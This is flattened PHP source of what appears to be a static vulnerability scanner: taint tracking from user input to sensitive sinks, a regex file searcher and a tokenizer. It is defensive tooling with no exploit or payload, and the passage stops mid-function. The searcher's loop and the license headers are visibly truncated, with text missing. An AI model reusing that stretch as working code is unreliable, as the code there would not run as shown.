if(in_array($this->tokens[$i + $c][1], Sources::$V_USERINPUT)) { $reconstructstr.='$_USERINPUT'; } } // userinput from return value of a function else if( $this->tokens[$i + $c][0] === T_STRING && in_array($this->tokens[$i + $c][1], $this->source_functions) // scan only potential vulnerable parameters of function call && ( in_array($parameter, $this->scan_functions[$token_value][0]) || (isset($this->scan_functions[$token_value][0][0]) && $this->scan_functions[$token_value][0][0] === 0) ) )// all parameters accepted { $has_vuln_parameters = true; $parameter_has_userinput = true; $new_find->marker = 1; $reconstructstr.='$_USERINPUT'; $new_find->title = 'Userinput returned by function '.$this->tokens[$i + $c][1].' reaches sensitive sink'; $this->addtriggerfunction($new_find); } //detect insecuring functions (functions that make previous securing useless) else if( $this->tokens[$i + $c][0] === T_STRING && isset($this->tokens[$i+$c][1]) && in_array($this->tokens[$i+$c][1], $GLOBALS['F_INSECURING_STRING']) && $parentheses_save == -1) { $parentheses_save = $parentheses_open; $ignore_securing = true; } // detect securing functions embedded into the sensitive sink else if( !$ignore_securing && ($this->tokens[$i + $c][0] === T_STRING && ( (is_array($this->scan_functions[$token_value][1]) && in_array($this->tokens[$i+$c][1], $this->scan_functions[$token_value][1])) || in_array($this->tokens[$i+$c][1], $GLOBALS['F_SECURING_STRING']) ) ) || (in_array($this->tokens[$i+$c][0], Tokens::$T_CASTS) && $this->tokens[$i+$c+1] === '(')) { $securing_function = $this->tokens[$i+$c][1]; $parentheses_save = $parentheses_open; $in_securing = true; $secured_by_start = true; } // add strings to reconstructed string for quotes analysis else if( $this->tokens[$i + $c][0] === T_CONSTANT_ENCAPSED_STRING ) { $reconstructstr.= substr($this->tokens[$i + $c][1], 1, -1); } else if( $this->tokens[$i + $c][0] === T_ENCAPSED_AND_WHITESPACE ) { $reconstructstr.= $this->tokens[$i + $c][1]; } } // count parameters else if( $parentheses_open === 1 && $this->tokens[$i + $c] === ',' ) { $parameter++; } // watch function calls in function call else if( $this->tokens[$i + $c] === '(' ) { $parentheses_open++; } else if( $this->tokens[$i + $c] === ')' ) { $parentheses_open--; if($parentheses_open === $parentheses_save) { $parentheses_save = -1; $in_securing = false; $securing_function = ''; $ignore_securing = false; } } else if(!isset($this->tokens[$i+$c])) { addError('Closing parenthesis of '.$token_value.'() is missing.', array_slice($this->tokens, $i, 10), $this->tokens[$i][2], $this->file_pointer); break; } $c++; } // quote analysis for securing functions F_QUOTE_ANALYSIS // they only protect when return value is embedded into quotes if( $this->quote_analysis_needed() && substr_count($reconstructstr, '$_USERINPUT') > 0 ) { // idea: explode on $_USERINPUT and count quotes in SQL query before // if not even, then the $_USERINPUT is in an open quote $parts = explode('$_USERINPUT', $reconstructstr); foreach($this->securedby as $var=>$securefunction) { if(in_array($securefunction, $GLOBALS['F_QUOTE_ANALYSIS'])) { // extract the string before the userinput $checkstring = ''; $d=1; foreach($parts as $part) { $checkstring.=$part; if($d>=$var) break; $d++; } // even amount of quotes (or none) in string // --> no quotes around userinput // --> securing function is useless if(substr_count($checkstring, "'") % 2 === 0 && substr_count($checkstring, '"') % 2 === 0) { $has_vuln_parameters = true; $parameter_has_userinput = true; $new_find->title .= "Userinput reaches sensitive sink due to insecure usage of $securefunction() without quotes"; } } } } // add find to output if function call has variable parameters (With userinput) if( ($has_vuln_parameters && ($parameter_has_userinput || $parameter_func_depend)) || $GLOBALS['verbosity'] == 4 || isset($this->scan_functions[$token_value][3]) ) { $vulnstart=$i; $vulnadd=1; // prepend $var assignment if(isset($vardeclare)) { $vulnstart = $vardeclare['start']; $vulnadd = $vardeclare['end']-$vardeclare['start']-$c+1;//3; } // prepend echo statement else if(isset($GLOBALS['F_XSS'][$this->tokens[$i-1][1]])) { $vulnstart = $i-1; $vulnadd = 2; } // prepend class var else if($this->tokens[$i-1][0] === T_DOUBLE_COLON || $this->tokens[$i-1][0] === T_OBJECT_OPERATOR) { $vulnstart = $i-2; $vulnadd = 2; } if(isset($GLOBALS['user_functions'][$this->file_name][$token_value])) { $found_line = ''; $found_line.= highlightline(array_slice($this->tokens,$vulnstart,$c+$vulnadd),$this->comment, $line_nr, false, $token_value); } else { $found_line = highlightline(array_slice($this->tokens,$vulnstart,$c+$vulnadd),$this->comment, $line_nr, $token_value, false, $tainted_vars); } $new_find->value = $found_line; $new_find->filename = $this->file_pointer; if($secured_by_start) $new_find->marker = 2; // only show vuln user defined functions // if call with userinput has been found if( isset($GLOBALS['user_functions'][$this->file_name][$token_value]) ) $GLOBALS['user_functions'][$this->file_name][$token_value]['called'] = true; if($this->in_function) { $this->ignore_securing_function = true; // mark function in class as vuln if($this->in_class) { $this->vuln_classes[$this->class_name][] = $this->function_obj->name; } } // putenv with userinput --> getenv is treated as userinput if($token_value === 'putenv') { $this->source_functions[] = 'getenv'; $GLOBALS['source_functions'][] = 'getenv'; $new_find->title = 'User can set PHP enviroment variables. Adding getenv() to tainting functions'; } else if($token_value === 'apache_setenv') { $this->source_functions[] = 'apache_getenv'; $GLOBALS['source_functions'][] = 'apache_getenv'; $new_find->title = 'User can set Apache enviroment variables. Adding apache_getenv() to tainting functions'; } else if($token_value === 'extract' || $token_value === 'parse_str' || $token_value === 'mb_parse_str') { // add register_globals implementation $this->variable_add( 'register_globals', array_slice($this->tokens,$vulnstart,$c+$vulnadd), 'register_globals implementation', 0, 0, $line_nr, $i, isset($this->tokens[$i][3]) ? $this->tokens[$i][3] : array() ); } // add to output if(isset($GLOBALS['user_functions'][$this->file_name][$token_value])) { if(!empty($GLOBALS['output'][$this->file_name])) { foreach($GLOBALS['output'][$this->file_name] as $block) { $calleesadded = array(); foreach($block->treenodes as $tree) { if($tree->funcdepend === $token_value && (array_intersect($tree->funcparamdepend, $vulnparams) || isset($this->scan_functions[$token_value][3]) )) { // if funcdependend already found and added, just add foundcallee=true and continue // dont add tree again, it is already added to the vulnblock if(in_array($tree->funcdepend, $calleesadded)) { $tree->foundcallee = true; continue; } if(isset($this->scan_functions[$token_value][3])) $new_find->title = 'Call triggers vulnerability in function '.$token_value.'()'; else if(empty($new_find->title)) $new_find->title = 'Userinput is passed through function parameters.'; $block->treenodes[] = $new_find; if(!$block->vuln && ($parameter_has_userinput || isset($this->scan_functions[$token_value][3]) || $GLOBALS['verbosity'] == 4)) { $block->vuln = true; increaseVulnCounter($block->sink); } $tree->foundcallee = true; $calleesadded[] = $token_value; } } } // else: dont use the result } } else { if(empty($new_find->title)) $new_find->title = 'Userinput reaches sensitive sink. For more information, press the help icon on the left side.'; $block = new VulnBlock($this->tif.'_'.$this->tokens[$i][2].'_'.basename($this->file_pointer), getVulnNodeTitle($token_value), $token_value); $block->treenodes[] = $new_find; if($parameter_has_userinput || $GLOBALS['verbosity'] == 4) { $block->vuln = true; increaseVulnCounter($token_value); } // if sink in var declare, offer a data leak scan - save infos for that if(isset($vardeclare)) $block->dataleakvar = array($vardeclare['linenr'], $vardeclare['name']); $GLOBALS['output'][$this->file_name][] = $block; } } // if classvar depends on function parameter, add this parameter to list if( isset($this->classvar) && $this->in_function && in_array($this->classvar, $this->function_obj->parameters) ) { $param = array_search($this->classvar, $this->function_obj->parameters); $GLOBALS['user_functions'][$this->file_name][$this->function_obj->name][0][$param] = $param+1; } } } // taint analysis } /************************* CONTROL STRUCTURES *************************/ else if( in_array($token_name, Tokens::$T_LOOP_CONTROL) ) { // ignore in requirements output: while, for, foreach // DO..WHILE was rewritten to WHILE in tokenizer $this->ignore_requirement = true; $c=1; // get variables in loop condition while($this->tokens[$i+$c] !== '{') { if($this->tokens[$i+$c][0] === T_VARIABLE) { $this->tokens[$i+$c][3][] = '*'; } else if(!isset($this->tokens[$i+$c])) { addError('Could not find opening brace after '.$token_value.'-statement.', array_slice($this->tokens, $i, 10), $this->tokens[$i][2], $this->file_pointer); break; } $c++; } } // save current dependency else if(in_array($token_name, Tokens::$T_FLOW_CONTROL)) { $c=1; while($this->tokens[$i+$c] !== '{') { $c++; if(!isset($this->tokens[$i+$c])) { addError('Could not find opening brace after '.$token_value.'-statement.', array_slice($this->tokens, $i, 10), $this->tokens[$i][2], $this->file_pointer); break; } } $this->in_condition = $i+$c; $this->dependencytokens = array_slice($this->tokens,$i,$c); } /************************* FUNCTIONS *************************/ // check if token is a function declaration else if($token_name === T_FUNCTION) { if($this->in_function) { #addError('New function declaration in function declaration of '.$this->function_obj->name.'() found. This is valid PHP syntax but not supported by RIPS now.', array_slice($this->tokens, $i, 10), $this->tokens[$i][2], $this->file_pointer); } else { $this->in_function++; // the next token is the "function name()" $i++; $function_name = isset($this->tokens[$i][1]) ? $this->tokens[$i][1] : $this->tokens[$i+1][1]; $ref_name = ($this->in_class ? $this->class_name.'::' : '') . $function_name; // add POP gadgets to info if(isset($this->info_functions[$function_name])) { $GLOBALS['info'][] = $ref_name; // add gadget to output $found_line = highlightline(array_slice($this->tokens,$i-1,4),$this->comment, $line_nr, $function_name, false, $function_name); $new_find = new InfoTreeNode($found_line); $new_find->title = "POP gadget $ref_name"; $new_find->lines[] = $line_nr; $new_find->filename = $this->file_pointer; if(isset($GLOBALS['output'][$this->file_name]['gadgets'])) $GLOBALS['output'][$this->file_name]['gadgets']->treenodes[] = $new_find; else { $block = new VulnBlock($this->tif.'_'.$this->tokens[$i][2].'_'.basename($this->file_pointer), 'POP gadgets'); $block->vuln = true; $block->treenodes[] = $new_find; $GLOBALS['output'][$this->file_name]['gadgets'] = $block; } } $c=3; while($this->tokens[$i+$c] !== '{' && $this->tokens[$i+$c] !== ';') { $c++; } // abstract functions ended if($this->tokens[$i+$c] === ';') $this->in_function--; // write to user_functions offset list for referencing in output $GLOBALS['user_functions_offset'][$ref_name][0] = $this->file_pointer; $GLOBALS['user_functions_offset'][$ref_name][1] = $line_nr-1; // save function as object $this->function_obj = new FunctionDeclare($this->dependencytokens = array_slice($this->tokens,$i-1,$c+1)); $this->function_obj->lines[] = $line_nr; $this->function_obj->name = $function_name; // save all function parameters $this->function_obj->parameters = array(); $e=1; // until function test(...) { // OR // interface test { public function test(...); } while( $this->tokens[$i+$e] !== '{' && $this->tokens[$i+$e] !== ';' ) { if( is_array($this->tokens[$i + $e]) && $this->tokens[$i + $e][0] === T_VARIABLE ) { $this->function_obj->parameters[] = $this->tokens[$i + $e][1]; } $e++; } // now skip the params from rest of scan, // or function test($a=false, $b=false) will be detected as var declaration $i+=$e-1; // -1, because '{' must be evaluated again } } // add globaled variables (global $a, $b, $c;) to var list else if($token_name === T_GLOBAL && $this->in_function) { $this->globals_from_function[$this->function_obj->name] = array(); // get all globaled variables $b=1; while($this->tokens[$i + $b] !== ';') { if( $this->tokens[$i + $b][0] === T_VARIABLE ) { // mark variable as global scope affecting $this->put_in_global_scope[] = $this->tokens[$i+$b][1]; // add variable declaration to beginning of varlist $new_var = new VarDeclare(array( array(T_GLOBAL,'global',$line_nr), array(T_VARIABLE,$this->tokens[$i+$b][1],$line_nr), ';' ), $this->comment); $new_var->line = $line_nr; $new_var->id = $i; // overwrite old local vars $this->var_declares_local[$this->tokens[$i+$b][1]] = array($new_var); } $b++; } } // watch returns before vuln function gets called else if($token_name === T_RETURN && $this->in_function==1 ) { $GLOBALS['userfunction_taints'] = false; $GLOBALS['userfunction_secures'] = false; $c = 1; // get all variables in parameter list while( $this->tokens[$i + $c] !== ';' ) { if( is_array($this->tokens[$i + $c]) ) { if( $this->tokens[$i + $c][0] === T_VARIABLE ) { // check if returned var is secured --> securing function $new_find = new VulnTreeNode(); $userinput = $this->scan_parameter( $new_find, $new_find, $this->tokens[$i+$c], $this->tokens[$i+$c][3], $i+$c, $this->var_declares_local, $this->var_declares_global, false, $GLOBALS['F_SECURES_ALL'], TRUE ); // add function to securing functions // if it returns no userinput/function param if((!$userinput || $GLOBALS['userfunction_secures']) && !$this->ignore_securing_function) { $GLOBALS['F_SECURING_STRING'][] = $this->function_obj->name; } // add function to userinput functions if userinput // is fetched in the function and then returned (userinput == 1) if($userinput == 1 || $GLOBALS['userfunction_taints']) { $this->source_functions[] = $this->function_obj->name; } } // add function to securing functions if return value is secured else if( in_array($this->tokens[$i + $c][1], $GLOBALS['F_SECURES_ALL']) || in_array($this->tokens[$i+$c][0], Tokens::$T_CASTS)) { $GLOBALS['F_SECURING_STRING'][] = $this->function_obj->name; break; } } $c++; } } /************************* CLASSES *************************/ // check if token is a class declaration else if($token_name === T_CLASS) { $i++; $this->class_name = $this->tokens[$i][1]; $this->vuln_classes[$this->class_name] = array(); $this->in_class = true; $GLOBALS['info'][] = 'Code is object-oriented. This is not supported yet and can lead to false negatives.'; } // build list of vars that are associated with a class // $var = new Classname() else if( $token_name === T_NEW && $this->tokens[$i-2][0] === T_VARIABLE ) { $this->class_vars[ $this->tokens[$i-2][1] ] = $this->tokens[$i+1][1]; } // copy vuln functions from extended classes else if($token_name === T_EXTENDS && $this->in_class) { $this->vuln_classes[$this->class_name] = $this->vuln_classes[ $this->tokens[$i+1][1] ]; } /************************* OTHER *************************/ // list($drink, $color, $power) = $info; else if($token_name === T_LIST) { $d=2; while( $this->tokens[$i+$d] !== ')' && $this->tokens[$i+$d] !== ';') { $d++; if($this->tokens[$i+$d] === ';' || !isset($this->tokens[$i+$d])) { addError('Closing parenthesis of list() is missing.', array_slice($this->tokens, $i, 10), $this->tokens[$i][2], $this->file_pointer); break; } } $tokenscanstart = 0; if($this->tokens[$i+$d+1] === '=' || in_array($this->tokens[$i+$d+1][0], Tokens::$T_ASSIGNMENT)) $tokenscanstart = $d+1; $c=2; for($c=2;$c<$d;$c++) { if( is_array($this->tokens[$i + $c]) && $this->tokens[$i + $c][0] === T_VARIABLE ) { $this->variable_add( $this->tokens[$i + $c][1], array_slice($this->tokens,$i,Analyzer::getBraceEnd($this->tokens,$i)+1), ' list() ', $tokenscanstart, 0, $this->tokens[$i + $c][2], $i, isset($this->tokens[$i+$c][3]) ? $this->tokens[$i+$c][3] : array() ); } } $i=$i+$c+2; } // switch lines pointer back to original code if included tokens end else if( $token_name === T_INCLUDE_END) { array_pop($this->lines_stack); $this->lines_pointer = end($this->lines_stack); array_pop($this->inc_file_stack); $this->file_pointer = end($this->inc_file_stack); $this->comment = basename($this->file_pointer) == basename($this->file_name) ? '' : basename($this->file_pointer); $this->tif = array_pop($this->tif_stack); } } else // token is not an array { /************************* BRACES *************************/ // keep track of { program blocks } // get current dependencies in program flow if($this->tokens[$i] === '{' && ($this->tokens[$i-1] === ')' || $this->tokens[$i-1] === ':' || $this->tokens[$i-1] === ';' // case x:{ or case x;{ || (is_array($this->tokens[$i-1]) && ($this->tokens[$i-1][0] === T_DO // do { || $this->tokens[$i-1][0] === T_ELSE // else { || $this->tokens[$i-1][0] === T_STRING // class bla { || $this->tokens[$i-1][0] === T_TRY // try { || $this->tokens[$i-1][0] === T_FINALLY // finally { || $this->tokens[$i-1][0] === T_CATCH)) ) ) // catch{ { // save brace amount at start of function if($this->in_function && $this->brace_save_func < 0) { $this->brace_save_func = $this->braces_open; } // save brace amount at start of class if($this->in_class && $this->brace_save_class < 0) { $this->brace_save_class = $this->braces_open; } $this->in_condition = 0; if(empty($e)) { if(!$this->ignore_requirement) { if(!empty($this->dependencytokens) && $this->dependencytokens[0][0] === T_ELSE && $this->dependencytokens[1][0] !== T_IF ) { $this->dependencytokens = $this->last_dependency; $this->dependencytokens[] = array(T_ELSE, 'else', $this->dependencytokens[0][2]); } } else { $this->ignore_requirement = false; } // add dependency (even push empty dependency on stack, it will get poped again) $this->dependencies[$line_nr] = $this->dependencytokens; $this->dependencytokens = array(); } else { unset($e); } $this->braces_open++; } // before block ending "}" there must be a ";" or another "}". otherwise curly syntax else if( $this->tokens[$i] === '}' && ($this->tokens[$i-1] === ';' || $this->tokens[$i-1] === '}' || $this->tokens[$i-1] === '{') ) { $this->braces_open--; // delete current dependency $this->last_dependency = array_pop($this->dependencies); $this->dependencytokens = array(); // end of function found if brace amount = amount before function start if($this->in_function && $this->brace_save_func === $this->braces_open) { $ref_name = ($this->in_class ? $this->class_name.'::' : '') . $this->function_obj->name; // write ending to user_function list for referencing functions in output $GLOBALS['user_functions_offset'][$ref_name][2] = $line_nr; // reset vars for next function declaration $this->brace_save_func = -1; $this->ignore_securing_function = false; $this->in_function--; $this->function_obj = null; $this->var_declares_local = array(); $this->put_in_global_scope = array(); // load new found vulnerable user functions to current scanlist if(isset($GLOBALS['user_functions'][$this->file_name])) { $this->scan_functions = array_merge($this->scan_functions, $GLOBALS['user_functions'][$this->file_name]); } } // end of class found if($this->in_class && $this->brace_save_class === $this->braces_open) { $this->brace_save_class = -1; $this->in_class = false; } } } // token scanned // detect if still in a vardeclare, otherwise delete saved infos if(isset($vardeclare) && $vardeclare['end'] === $i) unset($vardeclare); } // all tokens scanned. return $this->inc_map; } } ================================================ FILE: lib/searcher.php ================================================ . **/ function searchFile($file_name, $search) { $search = str_replace('/', '.', $search); $lines = file($file_name); $block = new VulnBlock('Search hits'); for($i=0; $i'); $line = highlightline($tokens, '', $i+1, $search); $line = preg_replace("/(>[^<]*)(".preg_quote(trim($matches[0]), '/').")/i", "$1$2", $line); $new_find = new VulnTreeNode($line); $new_find->filename = $file_name; $new_find->title = 'Regular expression match'; $new_find->lines[] = $i+1; $block->treenodes[] = $new_find; $block->vuln = true; } } $id = (isset($GLOBALS['output'][$file_name])) ? count($GLOBALS['output'][$file_name]) : 0; $GLOBALS['output'][$file_name][$id] = $block; } ================================================ FILE: lib/tokenizer.php ================================================ . **/ class Tokenizer { public $filename; public $tokens; function __construct($filename) { $this->filename = $filename; } // main public function tokenize($code) { $this->tokens = token_get_all($code); $this->prepare_tokens(); $this->array_reconstruct_tokens(); $this->fix_tokens(); $this->fix_ternary(); #die(print_r($this->tokens)); return $this->tokens; } // adds braces around offsets function wrapbraces($start, $between, $end) { $this->tokens = array_merge( array_slice($this->tokens, 0, $start), array('{'), array_slice($this->tokens, $start, $between), array('}'), array_slice($this->tokens, $end) ); } // delete all tokens to ignore while scanning, mostly whitespaces function prepare_tokens() { // delete whitespaces and other unimportant tokens, rewrite some special tokens for($i=0, $max=count($this->tokens); $i<$max; $i++) { if( is_array($this->tokens[$i]) ) { if( in_array($this->tokens[$i][0], Tokens::$T_IGNORE) ) unset($this->tokens[$i]); else if( $this->tokens[$i][0] === T_CLOSE_TAG ) $this->tokens[$i] = ';'; else if( $this->tokens[$i][0] === T_OPEN_TAG_WITH_ECHO ) $this->tokens[$i][1] = 'echo'; } // @ (depress errors) disturbs connected token handling else if($this->tokens[$i] === '@') { unset($this->tokens[$i]); } // rewrite $array{index} to $array[index] else if( $this->tokens[$i] === '{' && isset($this->tokens[$i-1]) && ((is_array($this->tokens[$i-1]) && $this->tokens[$i-1][0] === T_VARIABLE) || $this->tokens[$i-1] === ']') ) { $this->tokens[$i] = '['; $f=1; while($this->tokens[$i+$f] !== '}') { $f++; if(!isset($this->tokens[$i+$f])) { addError('Could not find closing brace of '.$this->tokens[$i-1][1].'{}.', array_slice($this->tokens, $i-1, 2), $this->tokens[$i-1][2], $this->filename); break; } } $this->tokens[$i+$f] = ']'; } } // rearranged key index of tokens $this->tokens = array_values($this->tokens); } // some tokenchains need to be fixed to scan correctly later function fix_tokens() { for($i=0; $i<($max=count($this->tokens)); $i++) { // convert `backticks` to backticks() if( $this->tokens[$i] === '`' ) { $f=1; while( $this->tokens[$i+$f] !== '`' ) { // get line_nr of any near token if( is_array($this->tokens[$i+$f]) ) $line_nr = $this->tokens[$i+$f][2]; $f++; if(!isset($this->tokens[$i+$f]) || $this->tokens[$i+$f] === ';') { addError('Could not find closing backtick `.', array_slice($this->tokens, $i, 5), $this->tokens[$i+1][2], $this->filename); break; } } if(!empty($line_nr)) { $this->tokens[$i+$f] = ')'; $this->tokens[$i] = array(T_STRING, 'backticks', $line_nr); // add element backticks() to array $this->tokens = array_merge( array_slice($this->tokens, 0, $i+1), array('('), array_slice($this->tokens, $i+1) ); } } // real token else if( is_array($this->tokens[$i]) ) { // rebuild if-clauses, for(), foreach(), while() without { } if ( ($this->tokens[$i][0] === T_IF || $this->tokens[$i][0] === T_ELSEIF || $this->tokens[$i][0] === T_FOR || $this->tokens[$i][0] === T_FOREACH || $this->tokens[$i][0] === T_WHILE) && $this->tokens[$i+1] === '(' ) { // skip condition in ( ) $f=2; $braceopen = 1; while($braceopen !== 0 ) { if($this->tokens[$i+$f] === '(') $braceopen++; else if($this->tokens[$i+$f] === ')') $braceopen--; $f++; if(!isset($this->tokens[$i+$f])) { addError('Could not find closing parenthesis of '.$this->tokens[$i][1].'-statement.', array_slice($this->tokens, $i, 5), $this->tokens[$i][2], $this->filename); break; } } // alternate syntax while(): endwhile; if($this->tokens[$i+$f] === ':') { switch($this->tokens[$i][0]) { case T_IF: case T_ELSEIF: $endtoken = T_ENDIF; break; case T_FOR: $endtoken = T_ENDFOR; break; case T_FOREACH: $endtoken = T_ENDFOREACH; break; case T_WHILE: $endtoken = T_ENDWHILE; break; default: $endtoken = ';'; } $c=1; while( $this->tokens[$i+$f+$c][0] !== $endtoken) { $c++; if(!isset($this->tokens[$i+$f+$c])) { addError('Could not find end'.$this->tokens[$i][1].'; of alternate '.$this->tokens[$i][1].'-statement.', array_slice($this->tokens, $i, $f+1), $this->tokens[$i][2], $this->filename); break; } } $this->wrapbraces($i+$f+1, $c+1, $i+$f+$c+2); } // if body not in { (and not a do ... while();) wrap next instruction in braces else if($this->tokens[$i+$f] !== '{' && $this->tokens[$i+$f] !== ';') { $c=1; while($this->tokens[$i+$f+$c] !== ';' && $c<$max) { $c++; } $this->wrapbraces($i+$f, $c+1, $i+$f+$c+1); } } // rebuild else without { } else if( $this->tokens[$i][0] === T_ELSE && $this->tokens[$i+1][0] !== T_IF && $this->tokens[$i+1] !== '{') { $f=2; while( $this->tokens[$i+$f] !== ';' && $f<$max) { $f++; } $this->wrapbraces($i+1, $f, $i+$f+1); } // rebuild switch (): endswitch; else if( $this->tokens[$i][0] === T_SWITCH && $this->tokens[$i+1] === '(') { $newbraceopen = 1; $c=2; while( $newbraceopen !== 0 ) { // watch function calls in function call if( $this->tokens[$i + $c] === '(' ) { $newbraceopen++; } else if( $this->tokens[$i + $c] === ')' ) { $newbraceopen--; } else if(!isset($this->tokens[$i+$c]) || $this->tokens[$i + $c] === ';') { addError('Could not find closing parenthesis of switch-statement.', array_slice($this->tokens, $i, 10), $this->tokens[$i][2], $this->filename); break; } $c++; } // switch(): ... endswitch; if($this->tokens[$i + $c] === ':') { $f=1; while( $this->tokens[$i+$c+$f][0] !== T_ENDSWITCH) { $f++; if(!isset($this->tokens[$i+$c+$f])) { addError('Could not find endswitch; of alternate switch-statement.', array_slice($this->tokens, $i, $c+1), $this->tokens[$i][2], $this->filename); break; } } $this->wrapbraces($i+$c+1, $f+1, $i+$c+$f+2); } } // rebuild switch case: without { } else if( $this->tokens[$i][0] === T_CASE ) { $e=1; while($this->tokens[$i+$e] !== ':' && $this->tokens[$i+$e] !== ';') { $e++; if(!isset($this->tokens[$i+$e])) { addError('Could not find : or ; after '.$this->tokens[$i][1].'-statement.', array_slice($this->tokens, $i, 5), $this->tokens[$i][2], $this->filename); break; } } $f=$e+1; if(($this->tokens[$i+$e] === ':' || $this->tokens[$i+$e] === ';') && $this->tokens[$i+$f] !== '{' && $this->tokens[$i+$f][0] !== T_CASE && $this->tokens[$i+$f][0] !== T_DEFAULT) { $newbraceopen = 0; while($newbraceopen || (isset($this->tokens[$i+$f]) && $this->tokens[$i+$f] !== '}' && !(is_array($this->tokens[$i+$f]) && ($this->tokens[$i+$f][0] === T_BREAK || $this->tokens[$i+$f][0] === T_CASE || $this->tokens[$i+$f][0] === T_DEFAULT || $this->tokens[$i+$f][0] === T_ENDSWITCH) ) )) { if($this->tokens[$i+$f] === '{') $newbraceopen++; else if($this->tokens[$i+$f] === '}') $newbraceopen--; $f++; if(!isset($this->tokens[$i+$f])) { addError('Could not find ending of '.$this->tokens[$i][1].'-statement.', array_slice($this->tokens, $i, $e+5), $this->tokens[$i][2], $this->filename); break; } } if($this->tokens[$i+$f][0] === T_BREAK) { if($this->tokens[$i+$f+1] === ';') $this->wrapbraces($i+$e+1, $f-$e+1, $i+$f+2); // break 3; else $this->wrapbraces($i+$e+1, $f-$e+2, $i+$f+3); } else { $this->wrapbraces($i+$e+1, $f-$e-1, $i+$f); } $i++; } } // rebuild switch default: without { } else if( $this->tokens[$i][0] === T_DEFAULT && $this->tokens[$i+2] !== '{' ) { $f=2; $newbraceopen = 0; while( $this->tokens[$i+$f] !== ';' && $this->tokens[$i+$f] !== '}' || $newbraceopen ) { if($this->tokens[$i+$f] === '{') $newbraceopen++; else if($this->tokens[$i+$f] === '}') $newbraceopen--; $f++; if(!isset($this->tokens[$i+$f])) { addError('Could not find ending of '.$this->tokens[$i][1].'-statement.', array_slice($this->tokens, $i, 5), $this->tokens[$i][2], $this->filename); break; } } $this->wrapbraces($i+2, $f-1, $i+$f+1); } // lowercase all function names because PHP doesn't care else if( $this->tokens[$i][0] === T_FUNCTION ) { $this->tokens[$i+1][1] = strtolower($this->tokens[$i+1][1]); } else if( $this->tokens[$i][0] === T_STRING && $this->tokens[$i+1] === '(') { $this->tokens[$i][1] = strtolower($this->tokens[$i][1]); } // switch a do while with a while (the difference in loop rounds doesnt matter // and we need the condition to be parsed before the loop tokens) else if( $this->tokens[$i][0] === T_DO) { // don't rewrite where do() is a class method if (($previous = $this->tokens[$i-1][0]) === T_FUNCTION || $previous === T_PAAMAYIM_NEKUDOTAYIM || $previous === T_OBJECT_OPERATOR) break; $f=2; $otherDOs = 0; // f = T_WHILE token position relative to i while( $this->tokens[$i+$f][0] !== T_WHILE || $otherDOs ) { if($this->tokens[$i+$f][0] === T_DO) $otherDOs++; else if($this->tokens[$i+$f][0] === T_WHILE) $otherDOs--; $f++; if(!isset($this->tokens[$i+$f])) { addError('Could not find WHILE of DO-WHILE-statement.', array_slice($this->tokens, $i, 5), $this->tokens[$i][2], $this->filename); break; } } // rebuild do while without {} (should never happen but we want to be sure) if($this->tokens[$i+1] !== '{') { $this->wrapbraces($i+1, $f-1, $i+$f); // by adding braces we added two new tokens $f+=2; } $d=1; // d = END of T_WHILE condition relative to i while( $this->tokens[$i+$f+$d] !== ';' && $d<$max ) { $d++; } // reorder tokens and replace DO WHILE with WHILE $this->tokens = array_merge( array_slice($this->tokens, 0, $i), // before DO array_slice($this->tokens, $i+$f, $d), // WHILE condition array_slice($this->tokens, $i+1, $f-1), // DO WHILE loop tokens array_slice($this->tokens, $i+$f+$d+1, count($this->tokens)) // rest of tokens without while condition ); } } } // return tokens with rearranged key index $this->tokens = array_values($this->tokens); } // rewrite $arrays[] to $variables and save keys in $tokens[$i][3] function array_reconstruct_tokens() { for($i=0,$max=count($this->tokens); $i<$max; $i++) { // check for arrays if( is_array($this->tokens[$i]) && $this->tokens[$i][0] === T_VARIABLE && $this->tokens[$i+1] === '[' ) { $this->tokens[$i][3] = array(); $has_more_keys = true; $index = -1; $c=2; // loop until no more index found: array[1][2][3] while($has_more_keys && $index < MAX_ARRAY_KEYS) { $index++; // save constant index as constant if(($this->tokens[$i+$c][0] === T_CONSTANT_ENCAPSED_STRING || $this->tokens[$i+$c][0] === T_LNUMBER || $this->tokens[$i+$c][0] === T_NUM_STRING || $this->tokens[$i+$c][0] === T_STRING) && $this->tokens[$i+$c+1] === ']') { unset($this->tokens[$i+$c-1]); $this->tokens[$i][3][$index] = str_replace(array('"', "'"), '', $this->tokens[$i+$c][1]); unset($this->tokens[$i+$c]); unset($this->tokens[$i+$c+1]); $c+=2; // save tokens of non-constant index as token-array for backtrace later } else { $this->tokens[$i][3][$index] = array(); $newbraceopen = 1; unset($this->tokens[$i+$c-1]); while($newbraceopen !== 0) { if( $this->tokens[$i+$c] === '[' ) { $newbraceopen++; } else if( $this->tokens[$i+$c] === ']' ) { $newbraceopen--; } else { $this->tokens[$i][3][$index][] = $this->tokens[$i+$c]; } unset($this->tokens[$i+$c]); $c++; if(!isset($this->tokens[$i+$c])) { addError('Could not find closing bracket of '.$this->tokens[$i][1].'[].', array_slice($this->tokens, $i, 5), $this->tokens[$i][2], $this->filename); break; } } unset($this->tokens[$i+$c-1]); } if($this->tokens[$i+$c] !== '[') $has_more_keys = false; $c++; } $i+=$c-1; } } // return tokens with rearranged key index $this->tokens = array_values($this->tokens); } // handle ternary operator (remove condition, only values should be handled during trace) // problem: tainting in the condition is not actual tainting the line -> remove condition function fix_ternary() { for($i=0,$max=count($this->tokens); $i<$max; $i++) { if( $this->tokens[$i] === '?' ) { unset($this->tokens[$i]); // condition in brackets: fine, delete condition if($this->tokens[$i-1] === ')') { unset($this->tokens[$i-1]); // delete tokens till ( $newbraceopen = 1; $f = 2; while( $newbraceopen !== 0 && $this->tokens[$i - $f] !== ';') { if( $this->tokens[$i - $f] === '(' ) { $newbraceopen--; } else if( $this->tokens[$i - $f] === ')' ) { $newbraceopen++; } unset($this->tokens[$i - $f]); $f++; if(($i-$f)<0) { addError('Could not find opening parenthesis in ternary operator (1).', array_slice($this->tokens, $i-5, 10), $this->tokens[$i+1][2], $this->filename); break; } } //delete token before, if T_STRING if($this->tokens[$i-$f] === '!' || (is_array($this->tokens[$i-$f]) && ($this->tokens[$i-$f][0] === T_STRING || $this->tokens[$i-$f][0] === T_EMPTY || $this->tokens[$i-$f][0] === T_ISSET))) { unset($this->tokens[$i-$f]); } } // condition is a check or assignment else if(in_array($this->tokens[$i-2][0], Tokens::$T_ASSIGNMENT) || in_array($this->tokens[$i-2][0], Tokens::$T_OPERATOR) ) { // remove both operands unset($this->tokens[$i-1]); unset($this->tokens[$i-2]); // if operand is in braces if($this->tokens[$i-3] === ')') { // delete tokens till ( $newbraceopen = 1; $f = 4; while( $newbraceopen !== 0 ) { if( $this->tokens[$i - $f] === '(' ) { $newbraceopen--; } else 